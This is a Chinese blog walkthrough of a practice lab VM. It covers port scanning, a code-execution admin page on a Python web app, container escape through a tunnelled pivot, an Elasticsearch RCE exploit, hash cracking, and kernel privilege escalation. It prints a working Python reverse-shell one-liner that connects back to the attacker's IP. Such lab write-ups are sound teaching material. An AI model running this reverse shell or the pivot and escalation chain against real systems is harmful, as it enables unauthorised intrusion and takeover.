freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

靶机打靶1
2021-09-25 10:12:32

这一期我想将自己打靶的过程记录分享出来,一方面是为了记录复习自己打靶过程加深印象,一方面也是给初学者提供资源去复现学习。同时我会给需要下载的链接靶场工具等给大家,大家也可以自己去尝试。希望过些靶场能从实战的角度让大家掌握渗透测试这项技能。

点击这里是靶机下载地址点击这里是Virtualbox官网下载地址

此次打靶过程用到了以下攻击手段:

主机发现    端口扫描    服务发现    路径爬取    代码注入    Shell脚本    内网信息收集       内网穿透

漏洞利用    密码破解    本地提权    攻击代码修改

先将kali和靶机安装在同一个虚拟机,并设置同一个网段,我这里都设置NAT模式。

先进行局域网内ip扫描:

开始第一步:kali里面的arpscan工具(这个工具可以扫描局域网所有网段的ip机子):1632533533_614e7c1d887ff4d685cf8.png!small

其中这个10.0.2.5是我靶机的ip,(我这台kali的ip是10.0.2.4)。

然后对这个靶机再进行全端口扫描:

利用kali自带的nmap工具(这个工具是专门用来扫描或ip的端口开放情况):1632533549_614e7c2db4fecd590c563.png!small

能够看到有两个端口开放,22和5000端口。(一个是ssh服务的22端口,系统是Ubuntu的。一个是5000端口,这个端口带的服务可能很少见,通过搜索引擎搜索“Werkzeug”可以找到它是一个http的基于python语言web开发的底层框架。那么运行的目标服务器语言就是python,而且从探测出来的信息还知道它是2.7.15版本的python,如果未来我们发现目标服务器上面存在一些代码执行等漏洞,我们就可以通过执行python脚本代码在目标机反弹shell、获取控制器等操作。)

对于http服务是可以通过浏览器打开,所以我们尝试打开这个页面:

10.0.2.5:5000(这是个很简单的web页面,唯一一个交互的地方就是发送信息,尝试了一下XSS这种常规注入,发现貌似没有什么利用点。当然我没有做所有绕过探测,暂时先放这,看看其它的利用点)1632533561_614e7c39782d3a6713caa.png!small

所以那就继续常规操作,爆破一下目录:

利用kali自带的dirsearch工具(有的没有,但是会提示你回车安装。我这kali环境python版本有点乱,该工具需要使用python3.7及以上才可以,还要进入dirsearch命令才可以使用):1632533599_614e7c5f632741a32ed7d.png!small

可以看到扫描出一个域名下面admin的目录,访问:1632533605_614e7c657fad0d8a56aac.png!small

1632533613_614e7c6dd80b49591c6bf.png!small

能够看到这是一个代码执行的页面,那么就有可能 输入所有的代码都交给exec()这个函数执行,从我们开始就知道这是用python语言的,所以我们可以尝试使用python的一个脚本代码,尝试让靶机反弹shell到我们的kali机。

(代码可以搜索引擎搜索出来,不必要会自己写):1632533632_614e7c8053138b215847f.png!small

代码:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.199.225",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

先在kali机启动监听,再执行代码(不能乱了顺序启动监听是为了让靶机把shell反弹到自己机器)。1632533644_614e7c8cc6e58a4233e84.png!small

这时候发现已经反弹成功,因为我执行ls这个命令,能够列出靶机上面的文件列表。

同时输入id命令查看一下当前权限:1632533651_614e7c9342e451b909875.png!small

我们发现直接就是root权限,那么是不是到此为止就代表打靶完成了呢?

稍微细心的同学可能看到Dokerfile这个文件,对Docker容器了解的话,Docker是用来模板化来标准版部署环境的,统一标准版批量化的部署,这是个标准的转换模板文件:1632533663_614e7c9f4be05e166253b.png!small

通过cat命令能够看到dockerfile文件里面是个标准的docker部署语句。

说明这就是个Docker容器,我们要想办法绕过容器,拿到宿主机权限才是我们最终的而目标。我们查看当前Docker的ip,如果是内网,就想办法在内网找一下其它机器看看是否有漏洞能否里用:1632533673_614e7ca9c9d2242121895.png!small

我这里先是查看了当前Docker容器的ip,然后ping这个网段存活的其它ip机(因为网段很大,我这里演示就不ping所有的了,可以看到只有172.17.0.1和0.2、0.3给我回包了)。

这时候我们需要来扫描这两个端口和目录。但这是在内网,怎么扫描呢?

这时候就用到内网穿透技术了!

这里我就以Venom工具来演示(工具可以去github搜索下载):

把隧道的客户端程序传输拷贝到目标系统上,然后通过我kali上的在他们之间建立一条隧道

由于目标用的是linux64位,所以用到Venom文件里的agent_linux_x64程序。我在这里给它重命名为a(方便后面书写)1632533690_614e7cbad5c2652010645.png!small

我这里cd到Venom目录里面,然后执行服务端程序,同时监听一个9999端口(这个端口随便设):1632533723_614e7cdb94386eac1a372.png!small

这是服务端启动监听了。

接下来是客户端要获取到刚才修改为a的那个程序(如何获取到这个a呢?):

我们可以通过kali开启一个http的80服务,然后让靶机来下载我这这kali上面这个a文件。

然后通过目标机来wget来下载这个a文件(顺序不能错,先开启监听,再下载):1632533734_614e7ce633997a516d897.png!small

然后我们赋予它执行a程序的权限,同时需要来连接服务器端(也就是我之前开启9999端口的那个服务器):

然后我们从服务端show命令查看一下有个+ -- 1说明有1个连接上了,同时,我们goto 1

再次再80端口上监听一个socks代理一个1080端口:1632533748_614e7cf4862aed1d5b524.png!small

我们为了让kali上面所有工具都可以访问内网整个网段,需要使用另外一个工具(kali自带):proxychain命令

来修改一下配置文件,改成sockts5同时端口改成刚才设置的10801632533754_614e7cfa9df74e3080ce3.png!small

1632533759_614e7cff1bf805706596d.png!small

一切准备就绪之后可以开始对内网进行扫描了。

首先用nmap来扫描之前探测到的内网段存活的ip,分别是172.17.0.1、0.2、0.3。

同时不要忘记proxychains命令:1632533770_614e7d0a085c731456446.png!small

1632533777_614e7d11de4c13270c9a4.png!small

是不是很眼熟,同样开放了两个端口和之前目标靶机扫描出现的一样。22和5000端口。

同样用浏览器访问一下这个http服务的5000端口(浏览器同样做代理设置:sockts的127.0.0.1:1080):1632533791_614e7d1f5bb02fca43a1d.png!small

1632533799_614e7d274bc3b41c062cd.png!small

能够看到这个页面和我们之前的靶机页面是一样的。同时在之前靶机发送消息在这个页面也能展示:1632533813_614e7d351e127618d8eb8.png!small

1632533833_614e7d49ef5770d814a61.png!small

说明这个172.17.0.1这个机器就是这个10.0.2.5这个机器的宿主机(只不过172.17.0.1这个ip是面向内网的地址)。

通过以上探测我就判断出172.17.0.1就是我们要攻击的目标主机了。

这是对172.17.0.1的探测,还有另外一个内网段的172.17.0.2和172.17.0.3这两机器,我们也来尝试一下,其中,172.17.0.2只开放了5000端口,说明也是和之前的一样,一个web页面没什么能利用的,也是属于172.17.0.1主机的一个容器机,而对172.17.0.3扫描出了不一样的东西:1632533845_614e7d5536fab5c8e3354.png!small

熟悉的同学应该知道9200端口是Elasticsearch的默认端口(同时截图上面扫描结果也正是如此)。

我们根据kali工具msf框架,用搜索命令来搜索该服务存在的过往漏洞:

1632533851_614e7d5bd528b6b6d9d1d.png!small

搜索出来了结果,前面连个个都是远程执行代码漏洞

将第一个文件拷贝下来:1632533857_614e7d61b8b0342c4a531.png!small

打开查看一下这个执行漏洞的文件,能够看到是用python2写的,下面使用命令注意要将python3改成python2:1632533865_614e7d699661d7d8a1a37.png!small

接着利用这个代码对目标172.17.0.3执行漏洞:1632533872_614e7d700c9882d74a054.png!small

执行一下ls命令:1632533881_614e7d7943c6f0de489f3.png!small

看到存在一个passwords文件,查看一下这个文件,发现是一些用户和密码的hash值。1632533887_614e7d7fc38ae67151735.png!small

可以去在线工具解密一下:1632533893_614e7d850bac8c6d58e4e.png!small

可以依次去解密,这种账号密码登陆存在于什么地方呢?是不是忽然想起来之前扫描的端口22一直没有去利用,那么这里会不会是峰回路转呢?

我们就先去登陆最开始的靶机(密码就是1337hack,密码输入的时候不会显示出来,输完回车就可以显示登录成功):1632533901_614e7d8d0fd7f916f8522.png!small

另外三组同样尝试发现不行,只有这个john账号可以登录。也就是这个账号是唯一可以利用的。我们用id查看一下当前用户,再用sudo命令尝试一下能否提权。1632533907_614e7d9389621b0d1174d.png!small

很显然不能够sudo提权,那么接下来用什么办法提权呢?

这时候想到了内核提权,uname -a 命令看一下当前系统版本:1632533913_614e7d990de57b60c032c.png!small

我们发现这个版本系统很古老,当前最新的linux内核版本应该是5.13左右,而这个是3.13,整整差了两个大版本,这种以前的老版本肯定有存在的系统内核漏洞。同样再次利用searchsploit搜索:1632533922_614e7da2eacf5814323b9.png!small

我们发现有很多这个版本的利用漏洞,然后我们挑选其中一个(真实渗透过程中需要一个个尝试):

然后拷贝当前目录,再编辑查看一下:1632533929_614e7da9e49142c5245d0.png!small

通过观察漏洞利用代码能看出是个C语言编写的程序,同时我们需要gcc来编辑利用它(因为是C语言的源代码):

1632533939_614e7db380690eb43e5e3.png!small

如果直接gcc的话,会失败,因为靶机上面没有gcc这个命令,所以我们需要在kali上面对这个文件编译。

但是问题来了,通过阅读源码发现一个问题:1632533946_614e7dbaa3f6e222ed8c6.png!small

这行指令定义了一个变量lib,这个变量会调用system函数,通过这个函数执行一条系统命令:系统命令又再次调用了gcc,去查找C语言的库文件,然后把这个库文件编译成so文件(也就是二进制共享库文件),然后在整个漏洞代码利用执行当中会再次加载执行之后的so文件。

也就是说即便我在kali编译之后把二进制放到目标系统上执行,执行过程中还会执行编译用到gcc,还是会报错(因为没有gcc)。

我想了很多解决方法,最简单的方法就是修改源码(我这里把选中的这几行都删掉—>涉及到库文件编译的源码):1632533959_614e7dc72dc591dde9ad9.png!small

然后对这个代码进行编译操作,同时指定生成exp文件:1632533970_614e7dd23beee159a59d6.png!small

除了这个exp文件,还需要配合上另外一个已经编译生成好的二进制库文件(用locate命令来定位,同时拷贝到当前目录,接下来就是想办法让这两个文件拷贝到目标机上面):1632533980_614e7ddcef8275846c1de.png!small

同样还和之前操作一样,在kali上利用python3模块监听http的80端口,再让目标机wget来下载文件:1632533988_614e7de44b06f0eb9d89b.png!small

为了能够执行成功exp文件,我将这两个文件都移动到tmp文件下,然后赋予exp文件(执行exp会读取和调用.so文件)可执行操作,执行成功输入id命令可以看到此时提权成功,已经是root账户了:1632533994_614e7dea3493bcdb7c768.png!small

到此为止,目标机全部打完。

回顾:先进行了主机的发现,然后再针对发现的主机进行了端口扫描以及服务的扫描。当扫描结束之后我们发现了目标靶机存在5000端口的一个web应用,尝试访问这个web应用,web应用页面下没有收获漏洞。然后通过web路径到发现/admin后台页面,通过后台地址发现一个远程代码执行漏洞,利用这个漏洞获取到了一个目标系统的反弹shell,但是获得这个shell之后发现自己被困在一个容器系统里面。然后又基于这个容器系统对内网IP地址段进行发现,发现过程中识别出了几个内网主机,分别是172.17.0.1、0.2、0.3。再挂上代理进行内网穿透,对这几个地址全端口扫描,我们发现0.3这个地址上面开启了9200端口,也就是elastic search服务端口,尝试对这个服务漏洞利用和攻击,成功拿下了172.17.0.3这台主机,在这台主机里面继续信息搜集发现一个passwords文件,在里面收获了John账号和密码(当然密码需要破解),拿到这个密码之后尝试在内网所有22端口的主机进行登录,最终成功登录了目标靶机的系统,但是接下来之后又遇到了一个难题,我们只是一个普通账号的用户权限,并没有root权限,所以不得不考虑各种各样的提权的操作。我们想到最直接的方法,因为目标主机是个很老版本内核版本的Linux,所以挑选了针对内核漏洞来提权的利用代码,但是这个漏洞利用代码又没有办法在目标系统上进行gcc编译,所以我们不得不修改代码,重新编译,把编译之后的漏洞利用代码和二进制库文件一起传输到目标服务器上,最终在目标服务器上成功利用这个代码进行本地提权,拿到root权限。

# 渗透测试 # web安全 # 反弹Shell脚本 # 靶场实战 # 靶场攻关
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者